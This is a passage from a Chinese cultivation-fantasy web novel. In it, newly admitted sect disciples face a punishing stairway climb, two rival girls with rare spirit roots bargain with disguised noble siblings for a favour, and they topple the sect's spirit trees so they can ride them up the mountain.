众人脸色一变。
他翻玩着手中的竹听笛:“其实这么说也不太对,你们要是足够快,也是能睡上觉的。”
一堆人神色难看,打量了周围半天,才反应过来这位高师兄说的是什么意思。
来凌云宗的新弟子也不是没听过这个很折磨的入门仪式,只是当真正看见了,才有了不可置信的感觉。
众人眼前,高弄舒身后,是一条属于凌云宗高不见顶的宽长石阶路。
这条石阶宽得吓人,同样也长得吓人,恢弘大气,估计能同时容纳数十人并肩爬个几天几夜的。
这条路岳寄欢熟悉得不能再熟悉,她走了不知道多少遍,上一世刚入门的时候她还什么都不会,只能硬生生捏着股气爬上去,到后来她懒了就御
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剑,但更多时候还是一步一步走上去。
比如上一世接柳扶荔回宗门。
他们二人,一步一阶,走了整整三个日夜。
柳扶荔走几步摔几跤,她也跟着摔。
眼泪混杂灰尘抹了一脸,好像瞎的不只是柳扶荔,她也瞎了。
最后还是伤好了刚醒的单若水来接的他们。
熟悉的环境使得岳寄欢想起往事,她目光游移,拒霜却又忽然扯扯她衣袖,小声道:“我们是不是上去了才能睡觉?”
岳寄欢回神:“按这位师兄的意思来说,是吧。”
“你会御剑吗?”拒霜问,“我们可以御剑上去。”
岳寄欢扫了这位病美人一眼:“你会?”
不料拒霜却真的一点头:“会。”
这会儿子这样的神情,又真真切切像个十四岁的小姑娘了。
能选上的人除了资质不错,自身本领多多少少也有些,提早注灵的人会御剑不是什么稀奇事,岳寄欢眯了眯眼睛:“你会好像也无用,没剑。”
因着从前天场有过测试暴乱的原因,所有进入天场的测试者,身上一律不得带有任何法器,剑也不行。
这是铁令。
半晌,她环视了周围一圈。
“倒是有...”
“树枝。”
拒霜同她一起出声,聪明人之间说话总是简单的。岳寄欢难得多看了几眼面前这个年龄和她相仿的少女,如果剥开现在她们之间有些尴尬的关系,别说正常关系的同门了,好友也不一定。
人群最前面,高弄舒眨了眨眼:“我在宗门门口等大家,大家快些,说不定还能赶上后天早上的午饭。”
人群哀嚎一片。
有人抱怨:“我们还没入宗门呢,身无本领,如何受得了这样。”
旁边那人叫唤道:“一直爬不上去会怎样?”
高弄舒瞥了说话的人一眼,司空见惯般说了一句:“既然大家都已开灵根,何谈废物一说,至于爬不上去——”
“那就滚回家罢。”
他这样讲着,脸上笑意淡了几分。
众人一脸绝望。
说起来,天场选拔有个很好的地方是测试灵根的同时也协助人开慧灵根,给身体注入灵力,这样一瞧,测试之人也算半只脚迈进了仙门里,与一般都凡体终究有了区别。
所以每年想要到天场选拔的人几乎是挤破脑袋,有益无害,就算没选上也能去各城各地谋个仙路。
高弄舒没再和这群刚入宗门的小鬼扯闲话,他看了一眼神色各异的众人,眼神落到了站在人群最后面两个互相扯着袖子的小姑娘身上,两人都白的晃眼,相比于其他人面色平静又冷淡,在不那么漆黑的月夜里,像两颗熠熠生辉的繁星。
他望着这两位修仙界难得一出,一出出俩的异行灵根,给这群倒霉小鬼们送上了不太诚恳的祝福:“师兄我先走一步,你们这批人资质不算差,想来定是能打破凌云宗新弟子爬石阶的记录。”
众人暂时忘记了待会儿要爬梯子的痛苦,又起哄:“师兄师兄,最快记录是多少天啊?”
高弄舒神秘一笑:“天?”
“两个时辰不到吧。”爱逗小孩儿的高师兄笑了笑,他看着众脸惊讶,晃着两根手指,“好了,你们快些吧,别浪费时间,嗯?”
说罢,高弄舒抛开长笛虚虚跃上去,转身就走,他走得太过决绝,只留给众人一道绝情的背影。
凌云宗庄严肃重的大门口前回荡着一片鬼哭狼嚎。
吵闹的人群后面,拒霜指尖勾了勾岳寄欢袖子,笑笑:“我们御剑,不对,踏树枝上去吧,怎么样?”
16. 对手
天愈发阴漆,月影绰绰,干净明澈的黑天上交错布满着点点星辰。
一堆人像无头苍蝇一样在凌云宗这段长长的石阶入口处来回踱步,最后得出一个显而易见的结论:只能硬走上去。
少男少女们凑在一起商讨片刻,有几个性子燥的等不及这些毫无意义的讨论,已经迈着步子往上爬,另外有几个还站在原地不动的估计是会点儿御剑之术,眼睛囫囵着四处转,试图想象刚刚那位高师兄会不会抱着一丝丝怜悯之心留了几把剑在底下等着他们去找,一飞冲天。
然而,高弄舒再如何跳脱,终究也不是什么心软如泥的性子。
岳寄欢和拒霜站在人群外没有参加讨论,一时间显得有点儿不太合群,像两只单薄孤寂的春雁。
拒霜看着面前这群无头苍蝇,有那么点儿想笑。她伸腰打着哈欠,小声和岳寄欢揶揄:“不会御剑的就算了,怎么会的也如此笨。我们待会儿还是快些踏枝上去吧,困死了。”
岳寄欢眼皮跳了跳:“踏树枝什么的可比御剑难多了,又轻又不稳,况且我还没回答你我会不会御剑呢。”
“万一我不会呢?踏树枝更是困难。”她难得冲拒霜开了个小玩笑,语气轻巧,“那就得爬着上去了。”
拒霜侧头打量着她,很认真地道:“你要是不会,现在便可以回家了。”
她微微露出一点笑,说话像带了把戳心口的刀子:“毕竟这样的人,不配做我的对手。”
这人语气又阴冷又狠,随时酿在脸上的那阵笑意不会给她带来多余和煦温柔的感觉,只有孤傲与狠辣。
怔愣了两秒,岳寄欢哼笑了一声,眉梢间难得带上了那股消失了不知道多久的傲气,她好像真的是一个刚刚拜入宗门的新人,一个充满活力、有着属于这个年龄一切娇俏与明媚的天才法修,往前折磨不堪的数百年里,一切都是一场梦。
要说一开始对拒霜没成见肯定是假的,岳寄欢心里那点鼓胀的刻薄和阴暗呼之欲出,任务失败会带来的死亡简直像一颗坚硬的木塞堵住了她酸涩的心口,随时随地无差别爆发,恐惧会淹没所有,直至她窒息。
可现在,她突然觉得这些没那么重要了。
反正都死过一回喽。
重生这么久以来,岳寄欢难有畅快地笑开:“很久没有人和我说,我不配做他的对手了。”
拒霜拔高语调“哦”了声:“还有上一个?”
岳寄欢微笑着没说话,只是伸手抚了抚额角被风撩动的碎发,脑子里无端闪过一张见过很多次的脸,有漂亮的,有冷淡的,生气的模样,蹙眉的时候,笑起来顽劣也好,不经心也罢。
她没有正面回答这个问题:“上去之后比一场怎么样?”
“谁赢了谁就拜入师尊门下。”岳寄欢目光滞空,她望着月亮不知道想到了什么,嘴角轻轻牵动。
拒霜听着这句“师尊”,不置可否:“和我想的一样。”
两人默契地不去深究对方的过往,经历过什么都无所谓,朋友也好对手也不错。
大概这就是这个世界所谓的漏洞吧,岳寄欢很好心地想,会有特别的人出现,会有特别的事情发生。
这也算有趣。
*
今天天气不错,即使到了晚上也是月亮高挂,微风耸动,没什么浓重的雾气。
很快,凌云宗这段石阶上已经稀稀拉拉站了今年新收的十几个弟子。
刚才想找剑的人无疾而终,只得屁颠屁颠地跑去苦命地爬梯子。
岳寄欢和拒霜还是没动,站在风里,罗裙随风绽放。
她二人刚才互相试探了一阵,这会儿回头一瞧,所有人都在认命地往上爬。
有人认得她们俩,边爬边回头喊了她们一声:“诶!你们怎么不走啊,就算是稀有灵根也不能指望着宗门来人接吧!再不走就晚啦!”
喊话的看上去是个年龄不大的娃娃脸少年,五官端正,非常阳光。
上一世岳寄欢刚拜入凌云宗时,这少年也在新弟子中,岳寄欢对这人还有些记忆,叫什么燕来着。总之,这位燕小公子性情太过热烈开朗,两世都给岳寄欢一种身形轮廓都镀着日光的感觉,刚刚对方测试时好像还扒着她问了几句,同大昭一样来了一段极具特色的自我介绍,简直不能再有印象了。
不过看看这批弟子中的其他人,除了个别几位,岳寄欢大都对其没什么前世的记忆,和陌生人没两样。
倒是燕小公子这句吼完,爬石梯的人一时间竟都被他这句“稀有灵根”吸引了注意力,纷纷扭头看着站在原地的两位少女。
活像参观什么珍奇灵宝。
周遭接连射过来几道打量的目光,拒霜含着笑,慢悠悠回了句:“你们慢慢爬吧。”
燕小公子挠着脑袋,傻乎乎地问:“你们不爬吗?”
岳寄欢搭了把腔:“懒,不爬。”
顶着一张娃娃脸的燕小公子许是被岳寄欢这种嚣张的态度惊到了,半晌,他愣头青一样问出了让他后悔很多年的话:“哦,我懂了,你们是想家了吗?”
燕小公子还觉得不够,带着遗憾补了句:“真是可惜了这么好的天赋。”
岳寄欢和拒霜:“......”
他说话的语气太过真诚,真诚到两人并不觉得这位娃娃脸少年是在阴阳怪气,而是真心在问她们是不是真的想家了,天真又傻缺,人如其脸。
拒霜缓慢地眨眨眼,嘟囔了一句:“这种傻子,活到现在真是运气好。”
或是对方声音里带上了感叹和埋怨的情绪,岳寄欢不轻不重地扫了拒霜一眼:“估计是富贵人家来的吧,性子单纯些。”
拒霜没说话,燕小公子见她二人依旧站在原地不动,那张可爱的娃娃脸皱了皱,迟疑了一会儿,又接着扭头上石阶去了。
周围人也打量她们差不多了,其中有人扫了几眼便同燕小公子一样接着往上走,也有人细细看了她们不久,竟从走了好几阶的石阶上又回到了原地,站在了拒霜和岳寄欢面前。
其他往上爬的人不明所以,看完热闹,又哼哼唧唧往上爬。
站在欢霜二人面前的是一男一女两人,眉眼间有些相似。
他们这批新弟子年龄都不大,最小的十二岁,最大的也不过十九岁,至于面前这两位,看模样,少年应该是那个十九岁的,躲在他身后拽着衣角,神情怯怯的女孩儿,便是那个十二岁了。
个子高一些的少年也不废话:“我叫战风遥,这是我妹妹,战江离,征战的战,清风长江。我们认得你二人,今年天场选拔唯二的异行灵根,岳寄欢,拒霜。”
提到名字时他说的很详细,乍有种对姓名很骄傲的模样。
拒霜撩起眼皮,微微偏头:“所以呢,何事?”
她语气冷淡如霜,给人一种拒人于千里之外的疏离感。
名为战江离的小姑娘往她兄长身后瑟缩了几分。
少女语气太过冰冷,察觉身后人的惧怕,战风遥下意识伸手挡了挡背后的妹妹,他脸有些涨红,好不容易建立起的勇气崩溃一地,说话不自觉磕绊起来:“所、所以,你们不急着上山,定是有别的办法,我想,”他咬咬牙,“我想请你们带我们一程,我妹妹身体不好,这么远的路,她去不到宗门门口的。”
闻言,岳寄欢抬眼打量了面前的人一番。
看对方的衣着,锦衣玉饰,面容清爽,应该也是富贵人家的孩子。战风遥看着精神气好些,个子还算高,肤色是健康的小麦色,倒是战江离,一直缩在兄长身后,面色苍白,个子矮小瘦弱,身上那股病败感比拒霜重得多。
想来是空有一身仙资仙骨,身体却跟不上,特地送来仙门锻炼修养。
她刚要开口,却听拒霜道:“还算有脑子,是有别的方法。”
“不过我们帮不了你。”病美人遗憾地摊摊手,话锋一转,“你会御剑吗?”
战风遥愣了愣:“我会一点,江离她不会。”
拒霜嘁了一声。
战风遥赶忙问:“你们
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是想御剑上去?”
“这里可没剑。”他拧了拧眉,“我不信你们是这个方法。”半晌,他又有点儿惊喜,“还是你们...”
他想问,你们是不是偷偷藏了剑或者别的飞行法器。
岳寄欢一脸无辜,看破了他心里那点愚蠢的想法:“我们可没说我们要御剑上去,我们也没剑,更没有什么飞行法器,遵守天场规则,这可是铁令。”
她眼睛往天上一瞥,好像在看什么,尾调懒散:“爬石阶一事可是有含天镜盯着呢,怎么,你想问些什么出来,好让我们违反禁令吗?”
违反天场禁令者,直接取消入门资格,逐出寻仙山。
拒霜闻言,脸色又冷下来,她眼睛微眯,眼神里带上几分审视与危险。
战风遥神色僵硬了一瞬,立马摇头:“抱歉,我不是这个意思。”
“你们也看见了,江离身体确实虚弱,我们有不得不去凌云宗的理由。”他深吸一口气,“也没想到宗门竟真的会让新弟子一步一步爬上去,你们只要带我二人上去,我能力范围之内,什么都可以给。”
这话说出口豪气自信许多,战风遥被欢霜二人呛弯的腰板都又挺直几分。
岳寄欢和拒霜本是打着踏树枝这个想法上去,虽然这比御剑慢得多,但总比爬上去灰头土脸累成狗好。
现如今这战家兄妹来求她们,她二人要是真有别的法子,帮同门一把也未尝不可,可惜这战风遥刚刚也说了,御剑之术,他只会一点儿。
妹妹战江离更是一窍不通。
拒霜想要开口拒绝,岳寄欢却说:“行。”
拒霜余光睨着她,淡声道:“还真看不出来你是个乐于助人的人。”
“乐于助人?”岳寄欢觉得这个词很熟悉,神情扭曲了一下,“不,我做事是要报酬的,很贵。”
拒霜刚想问什么富贵报酬能让你在自身难保的情况下再带两个拖油瓶,不料岳寄欢看了战家兄妹几秒钟,像是想到什么般温柔笑笑:“对了,我总觉得你们的名字听起来很耳熟...等等,你刚刚说你们的姓氏是哪个字?”
她伸手挽起耳边的发丝,眼眸含笑。
战风遥一怔,嘴比脑子快:“征战的战。”
“战氏,很独特的姓氏,我一开始还以为是那个——唉,什么来着。”她指尖点了点唇,一副冥思苦想的模样。
这话听上去颇为可惜。
此言一出,兄妹二人脸色微不可察地一变,又立马恢复正常。
战风遥干笑两声,表情不太自然:“普通姓氏,名字取得风光霁月些罢了。”
岳寄欢倒也不否认:“确实,这姓氏着实与名不相配。”
战风遥:“......”
听着这段对话,拒霜略带好奇地看了眼面前这对兄妹,她精准地捕捉到两人脸上一闪而过的惊慌,又听岳寄欢煞有其事道:“罢了,记不起来,不过既是同门,带你们上去也可以,至于我要什么——”
她忽然侧眼看着拒霜,眉尖一挑:“你不介意我来提报酬吧。”
这话虽是在询问,语气却肯定,难得有了点不容拒绝的压迫感。
拒霜好笑地看着她:“你要带的,随你。”
岳寄欢点着头:“唔,那我就要——”
她故意拖着调子,好听的音调像扯着一条肆意的长风。
战家兄妹脸色实在不算多好看,心里如同吊了块巨头,被面前年纪尚小的少女生拉硬拽着晃悠,刺激得脑袋发昏。
见这位风灵根一副略带戏耍的模样,战风遥有些绝望,看向前者的眼神几遭变幻,像在看什么阴险狡诈的无良奸商。
微风还吹拂在月夜里的凌云宗长阶口,树影窸窣,弯月莹莹。
片刻后,战家兄妹终于抓住了这根救命稻草。
少女悦耳稚巧的声音响起。
“那就要迷陇湛氏欠我一个人情好了。”岳寄欢绛唇微弯,声音在风中格外冷静清晰,“这个报酬,怎么样?”
17. 砍树御树
凌云宗内,太清殿中,燃了兰香的玉炉正发散着缥缈薄淡的气味,殿内远比殿外黑漆亮堂得多,用了柔光珠四处罩着,明亮温和。
见到殿中含天镜前稀疏地笼着几道身影,高弄舒踩着竹听笛飞身落地,三两步跨进殿中,略带埋怨地叫了声:“可累着我了,头痛气闷,这新弟子怎的年年都如此,扒拉着问个不停。”
高弄舒装得一副虚弱模样,身子半塌,喊话都有气无力。
听闻,殿中几人皆是抬头看他。
简林从含天镜后缓步走过来,淡声道:“不过带些新弟子而已,你真是年年都累着,这般身体,不如早早去遥香谷讨要些药丹吃。”
他又觉得不妥,略微讥讽地补了一句:“嘶,不对。凌云宗到遥香谷去甚远,可别把我们风吹即倒的高师兄累死在半路上。”
高弄舒:“......”你把雷暴符当晚饭吃了?
殿中几道身影闷闷笑了几声。
高弄舒挺直身子,没好气道:“得了,真是和你们开个小玩笑都没人好好没接个话。新弟子爬天阶有何好看的,一步一步硬爬,没个几天上不来。”
有人站在含天镜前抬头望他一眼,招呼道:“弄舒,你来瞧。”
这面巨大的含天镜映照着站在面前的几人,众人脸上都淡淡划着斑驳的水纹,高弄舒见对方一副“快来”的兴奋模样,他有些狐疑地上前几步,绕到了含天镜面前。
含天镜内,除了哼哧哼哧往上爬好大一段的十来个人,还有四道模糊的身影站在阶口处一动不动,只能依稀瞧见像是在说什么,脸上还挂着笑意。
高弄舒敷衍地一扫:“还真是有心情笑,待会儿发现落了别人好大一段路自己还爬不动时有得他们——”
他这个“哭”字在口中卡壳了一瞬,高弄舒凑到含天镜前仔细看看,有些不确定地指着站在后面一些的两位,道:“紫色衣裳和绿色衣裳这俩小姑娘看着怎的如此像那两位异行灵根。”
旁边那人拍了拍他肩膀:“喏,就是,你自己带了一路的人你认不出来?”
高弄舒一脸淡然:“我健忘。”
那人一翻眼:“只记得些八卦杂事是吧,你最适合去上京城茶楼里当个说书先生去,毕竟张嘴就来,信口雌黄。”
高弄舒:“杜一帜你皮痒了?非得拿剑捅你几下你才顺心。”
他说罢就要去掏竹听笛,拎着笛子就往杜一帜身上扑。
杜一帜“嗷”一声喊着大师兄救命,三两步跳到简林身后,扯着皮比了个鬼脸:“你若是打我,我过两日到了学院便去找单师妹说教去。”
听他这般挑衅,高弄舒脸色不太自然,脖颈泛起淡淡的薄红。
他下意识抬手就将笛子抛向畏畏缩缩如王八的杜一帜,简林挥袖将横在空中飞旋的竹听笛拦住回抛过去,无可奈何道:“行了,在太清殿中打闹成何体统,要打去武道场打,别毁了这殿,又得重新修葺。”
高弄舒扬手抓住简林回抛过来的竹听笛,撇了撇嘴:“那是折镜和扶荔他们才干得出来的事情,本人牢记宗门条规,从来不做坏事。”
“说起来他二人怕是要添得新师妹了。”他又歪头笑笑,“那俩小姑娘可都是巴巴冲着仙游峰去的。”
简林轻轻看他一眼,没说话,又领着杜一帜绕回含天镜前。
镜中,站在原地的四人仍是在说着话,紧紧挨着一起的一男一女神色紧张,黛绿衣裳的小姑娘抱着臂,神情冷淡,时不时看看旁边的人,而她身旁那位,也就是浅紫衣裳的小姑娘则是一直在说着什么,不时冲对面二人露出一个狡黠的笑。
简林静静盯着含天镜,直到看见紫衣这位忽地抬头看向天空中,像是在找什么。
片刻后,对方的目光定格在天上不起眼的某一处。
像是如轻絮飘雨掠过城池,漫不经心地虚虚扫一眼。
眼神却牢牢聚焦在镜上最中心的地方,一动不动。
隔着含天镜,简林恰好交汇上这道冷冽目光。
他无意识的想起对方站在天端台上时,好像是喊了他一声,简师兄?
简林闭了闭眼,半晌才缓慢的睁开。杜一帜见他这样,关心地问道:“大师兄不舒服吗?要不要早些回去休息。”
高弄舒也看着他,没了打趣的心思:“若是耐不住回去便歇着吧,看守含天镜熬人得很。”
简林双手撑在含天镜两侧,他摇摇头,冷淡地掀起眼皮,没来头道:“下次把含天镜好好安放,不然连些还未入宗门的人都能找到阵眼处,这算什么样子。”
他说罢转身就走,只留了杜一帜和高弄舒站在原地。
高弄舒摸着脑袋:“胡扯,不可能,我的阵法之术习得如何你还不知晓?我明明——”
他一屁股挤开站在镜前一脸茫然的杜一帜,一眼就对上镜中少女透着讥笑的琥珀色眼睛。
高弄舒:“......”
定是他看错了。
罢了,这含天镜也不必守了,还不如和杜一帜去喝酒。
*
天阶前,湛家兄妹一脸菜色。
湛风遥“你你你”了半天,湛江离一脸惊恐,拒霜挑眉瞧着岳寄欢,一副“你什么人啊还知道人家身世?”的模样。
岳寄欢上辈子也是同湛家兄妹一批入的凌云宗,虽然她对同一批入门的弟子大多没什么印象,但除了那位太过热情的燕小公子,湛家兄妹能算得上她脑海里颇有记忆的两人。
记忆里,湛江离死在玄意身陨的那场仙妖大战里。
岳寄欢大体不记得湛江离是如何死去的了,那场大战里死掉的人太多了,多到岳寄欢对此的记忆只有血茫茫一片,身上是殷红的,身体不断冒血,眼睛是大片大片的红色,残肢断臂,血流成河。
大战过去不久,湛家派了人来接兄妹俩回家。
湛风遥抱着妹妹,登上了挂着湛家主旗的天玑船。
岳寄欢站在仙游峰顶,遥遥看着对方离开。
凌云宗的人,一点一点变少了。
思绪回神,岳寄欢指了指湛风遥,耸肩道:“若是求救,没人会如此详细的介绍自己名字,这么骄傲湛家却又要掩耳盗铃一样说自己姓战,也不知你是真笨还是怎的。”
迷陇湛氏是驻守在人间的六大家族之一,声名在外。不过因着某些缘故,各国和各族氏的人隐瞒身份来寻仙上修仙拜师的情况不在少数,这种事情不算得稀奇。
战风遥被她一咽,只能干巴巴道:“罢了,知晓便知晓了吧,至于你要我湛家一个人情,可以,我答应你。”
他又试探般问:“日后大家都是同门,若是真的有什么需要帮忙的地方帮你一把也未尝不可,你何必独独许下一个人情,怎不要些别的?比如法器灵石什么的,上山后便会遣人送来。”
岳寄欢摇头:“这可不一样,欠的是欠的,我求的是我求的。”她懒得同这人啰嗦:“你怎的这般聒噪,答应了便是。”
湛风遥:“......行。”
对方的语气太过不好惹,湛风遥只能讪讪答应一声。
湛江离依旧抓着湛风遥衣角,神色又变成愣愣的样子。
岳寄欢叹声,扭头巡视着四周,拒霜见她这样,有些没摸清她到底要干什么。她见岳寄欢四处看看,目光最后落到凌云宗天阶口那丛高大粗壮的树旁,一棵粗细恰好,枝头顶翘着几朵在月光下微微莹亮的玉色花朵的树。
这棵树乍一看平平无奇,就是花开的好看些。
拒霜察觉到岳寄欢想做什么,脸色难有地扭曲了一瞬:“你灵力够吗?”
岳寄欢盯着那棵树,随口一应:“加上你的不就够了吗?”
拒霜有点儿抗拒:“是你要帮他们的,我可没参与。”
“刚刚说好了哦,湛家欠的可是我们俩的人情。”岳寄欢眨眨眼,活像赖皮,“或者我求求你,拒霜姐姐,帮帮同门怎么样?”
她这下和拒霜混熟悉了,说话也混不吝起来。
湛风遥慌慌忙忙出声,下意识跟着岳寄欢喊:“拒霜姐,”他卡顿了一下,想起来自己远比拒霜年龄大得多,“拒霜,她的算她的,你要什么我也再答应你,帮帮我和江离,行吗?”
湛江离也探出脑袋,眨巴着圆眼,乖乖喊了声:“拒霜
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姐姐。”
拒霜:“......”你们有点不达目的不择手段了,尤其是某位。
不知出于什么心理,拒霜愣了两秒,还是无可奈何地应道:“行吧。”
她望向湛风遥,眼波流转:“不过说好的,她的算她的报酬,我的,重新算。”
湛风遥连忙点头:“当然。”
见几人都已答应,岳寄欢也没再说什么,她站在阶口,抬脚就往那颗树走。
湛家兄妹不明所以地跟在身后,拒霜唇角带着笑,晃悠着跟在后面。
到了树前,岳寄欢道:“碧落木,砍吧。”
湛风遥神情诡异:“碧落木不是凌云宗宝树之一吗?宗门里就那两三棵。”
岳寄欢点头:“是啊,怎么了?”
湛风遥:“那怎么砍?会被责罚的吧,我们还没有带刀斧什么的。”
岳寄欢头很痛:“没有刀斧,灵树当然拿灵力砍,碧落木不久就会再生的,一棵树而已,不拔根,无伤大雅。”
这话不知那里戳到了拒霜,她“噗嗤”笑了声。
岳寄欢瞧她:“笑什么?”
拒霜无辜道:“我爱笑,你又不是不知。”
岳寄欢:“......”你就笑吧你。
拒霜又打了个哈欠,看向湛风遥:“罢了,怕什么?不就是一棵树而已。新弟子爬石阶太累灵机一动,运作灵气御树上山,这不是很正常的事。”
岳寄欢在一旁洗脑:“未入宗门正式习法便会用灵气运物,宗门里那些人还指不定怎么夸呢,比如什么,天纵奇才?”
湛风遥:“......”好一个灵机一动和天纵奇才。
这二人一唱一和,湛风遥咬咬牙:“行,出了事我担着。”
岳寄欢倒也没赞同对方这句出事了一个人担着,而是扭头继续打量着面前的树。
这棵栽在凌云宗天阶口的碧落木她熟悉得很,是玄意栽的。据玄意亲口说,这棵树不过是他随手一栽,无心栽柳柳成荫,生得倒也算好。岳寄欢上辈子经常来给这棵树浇灌灵力,守着这棵碧落木生长,看着它一天一天长大,这也算得上是她一手浇大的树,所以现在砍起来毫无压力。
毕竟不拔根,不久后树便会重新长回来。
就当是让这棵碧落木报报她的“养育之恩”。
想到这儿,岳寄欢心安理得:“愣着干什么,砍啊。”
湛风遥一脸为难:“我才注入灵力,不会用。”
岳寄欢:“......”她差点忘了眼前的湛家兄妹是还未拜入宗门的。
“行吧,拒霜,搭把手。”岳寄欢没再压着对方,她伸出手,凝神静气,一阵柔白清亮的灵气缓缓汇聚在她手心。
拒霜闻言摊开掌心一凝,将掌心的灵气运了一道,岳寄欢则是飞快扣住手指,指尖相触,灵力从中汇涌而出,同拒霜手里的融和成一道无形的光刃,直直斜向眼前闪烁着莹亮的碧落木。
“轰——”
林动鸟惊,风吹云残。
一股巨大的灵力快速朝着四方涌动开来,裹挟着骤风与迷雾,甚至攀爬上天阶,在众人周围掀起一道气潮。
片刻后,空气中流淌的风与冷气缓缓散开,迷雾拨开,月朗风清。
天阶口,坐着个捂着屁股“哎呦哎呦”叫唤不停的小公子。天阶上,是几道遮着脸咳嗽不停的身影。
拒霜慢悠悠放下刚才抬手遮风的衣袖。
湛风遥回身笼着怀里的湛江离,湛江离露出一双圆眼,看着面前的景象发呆。
岳寄欢捂着心口重重咳了几声,略微艰难的抬起头。
她这会儿不是很想快点进入凌云宗了。
除了刚刚想要砍断的碧落木,这棵树后,属于凌云宗的其他树也稀稀落落倒了一片。
切口整齐,萦绕着淡淡的风冰两道灵气。
一眼就能看得出是谁干的。
拒霜沉默地看了眼面前的景象,缓缓道:“我们还是慢些上去吧,晚些受罚。”
岳寄欢:“......我也觉得。”
湛家兄妹面色痛痛,一脸绝望。
18. 新生
天阶口,挤满了刚刚已经爬了一大段石阶的十来个人。
燕小公子捂着腰坐在石阶上:“所以你们是想御剑,不是,御树上去?”
湛风遥有些难为情:“是...不过没想到会弄出这么大动静。”
“那我们岂不是不用爬石阶了。”有人指指一眼望不到头的天阶,夸张道,“不然爬到一半就得累死在上面。”
岳寄欢掀起眼皮:“有灵力催动才行,各位会使用吗?我们至少需要三根灵木。”
她侧头瞧了瞧身后倒塌的一大片树,树干斜歪着互相搭在一起,空气中还弥漫着灰尘扬起的雾气,活像刚经历过什么惨绝人寰的大战。
燕小公子赶忙举手:“我会用。”他拍了拍胸脯,也顾不上疼痛了,“看不出来吧,小爷我已经炼气二阶了。”
拒霜瞥他一眼,凉凉一笑:“燕小公子还真是厉害。”
燕小公子没听出来这话有什么不对,只当是拒霜真情实意的夸赞:“当然,不过不必叫我燕小公子,太过生分。”
他笑眯眯看着拒霜:“你莫不是忘了我的名字?我在天场时同你说过的,我叫燕须霁。”
拒霜面不改色:“是吗?记不清了。”
燕须霁:“......”
众人一听需要灵力催动灵树飞行,心中拿捏不定,有人问道:“倒了这么大一片灵树,宗门不会责罚我们吗?”
岳寄欢沉默了一瞬:“当然会责罚,刚才闹出如此大的动静影响了大家实在抱歉,无论如何,责罚一事同你们无关。”
众人一愣,拒霜看了眼岳寄欢没说话,算是勉强默认了这个说法。
燕须霁很义气地嚷了声:“我是不想爬石阶了,你们带我一起上去,责罚什么的算我一份。”
听闻,其他人面色还是有些犹豫,凌云宗门前倒了这么大一片灵木,岳寄欢虽说了责罚一事同他人无关,但若是他们也同对方一起御树上去,那多多少少算共犯,良心上也过意不去。
拒霜盯着面前这群神色各异的人瞧了一会,慢条斯理道:“大家若是有心同我们一道那便留下,我们自会带大家上去,就当是向大家赔礼道歉。若是不愿的,现在走就是了。”
“不愿的走就是了?”一道清脆的声音响起,“你们毁了这么大一片灵木还扰得我们滑下天阶,说的好听,到了山上指不定要连带着我们一起受罚,怎的好意思说出这般话来。”
此话一出,众人皆是一僵。
岳寄欢抬起眼,望向出声的方向。
除了方才站到天阶口的十来个人,还有一道身影站立在稍高几阶的石阶上。
岳寄欢盯着石阶上一身鎏金锦缎长裙的少女,略略好脾气道:“话已出口,责罚之事必然与他人无关,至于你说害得你们滑下天阶——”
“除了这位燕小公子,其他人不过是被灵力裹挟的风沙波及迷了眼,大家可是自己走下来的,我没看错的话你也是吧。”她有些好笑的看着对方,“况且这股灵力一点杀气都没带,你若是当真觉得被这灵力波及身子不爽,那我便在宗门里等着你走上来,赔偿灵石也好饮丹治疗也罢。”
少女面色涨红了一瞬,面带愠怒:“大家素不相识,谁知道你们说的是不是真的。”她头上的金丝步摇随着身晃动,冷笑道,“我可不掺这趟浑水,你们要如何是你们的事情,凌云宗责罚可是出了名的严厉,可别怪我没提醒你们。”
她说罢扭头就走,没再理会底下站着的一群人。
燕须霁倒是偏头高高喊了一声:“乐恣!”
少女脚步一顿,没有回头,拎着裙摆继续往上走。
人群中有人坐不住了。
刚刚那少女说的话不无道理,大家虽说的好听些是同门,不过眼前这两位是门内争着抢着要的异行灵根,若到时候这几位不信守诺言,宗门又真的降下处罚,遭殃的还是他们。
想到这儿,有人拱手一别:“多谢二位提供的方法,但我还是爬上去吧,天阶一事本就是宗门为锻炼心智所设,投机取巧反而耽误了。”
岳寄欢和拒霜听着这句“投机取巧”,倒也没说什么,只是点点头道:“自便。”
一堆人慢慢吞吞接连走了几个,到最后,除了刚一开始就打着这个主意的岳寄欢四人,竟只多出一个燕须霁。
燕小公子非常没眼力见:“我们快些上去吧,莫去管其他人了。”
岳寄欢:“你就不怕我们骗你?”她不怀好意地笑了笑,“我们刚刚闹了这么大的动静,看守含天镜的人却还不来,说不定刚才的事情除了我们没人知晓。”
“到时候若真把事情推到你身上,你可哭都没地方哭。”岳寄欢意有所指地望了望天阶上的人,“我可有得方法让其他人闭嘴。”
含天镜是比较低级的投影法器,没有什么回溯的功能。岳寄欢想着方才这一出闹戏宗门竟还未来人,想必是看守含天镜的弟子偷了懒,并未守在镜前。
拒霜却是比燕须霁先一步出声,似笑非笑:“我瞧着你怎对这凌云宗上下如此熟悉,我都不知爬天阶看守的法器是含天镜。”
岳寄欢懒洋洋道:“江湖消息,正常的很。”
她偏着头望向拒霜那张永远带着笑意的脸,目光交汇,两人间一时又擦起些初见的戾气。
相比燕须霁,湛风遥就看得懂脸色得多:“好了好了,我们快些上去吧,还要睡觉什么的,早些休息也好。”
燕须霁依旧没心没肺:“是是是,我信你们,就算是骗我我也认了,算我倒霉。我实在爬不动,累了一天了。”他眼巴巴瞧着拒霜,“拒霜,我们快走吧,好不好?”
空气中无形的狠戾倏然消失殆尽,岳寄欢错开拒霜的眼,凭空挑起不远处倒成一摊的碧落木,指尖一动,从上面削下两根拈花的长枝,捡了一只抛给拒霜。
拒霜站在原地,抬手虚空接住,将树枝悬在地上。
“快些上去,别愣在这儿了,不是说困死了?”岳寄欢转移了话题,又将剩下一根光秃秃的树干甩向空中。
碧落木自身的灵力就蕴含的足够多,无需使用太多灵力催动,岳寄欢灵力充沛的过分,她自己一个人也可以操控。
拒霜不置可否:“是啊,困得不行。”她又道:“这下可以熟练操控灵力了?这才是你第二次用,刚刚砍树时是第一次。”
岳寄欢无害地笑笑:“别那么肯定,砍树时你运用的灵力同样多,要这么说,你也是第一次用。”
拒霜眸光沉沉,打了个话岔:“谁知道呢。”
二人间交
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谈你来我往,试探个没完。
燕须霁迟钝的要命,湛江离神色依旧怯怯,只剩湛风遥夹在这两位喜欢打哑谜的异行灵根之间,可怜巴巴:“行了知道你们很厉害,我们快些走吧,两位姐姐,当是我求你们。”
岳寄欢和拒霜:“......”
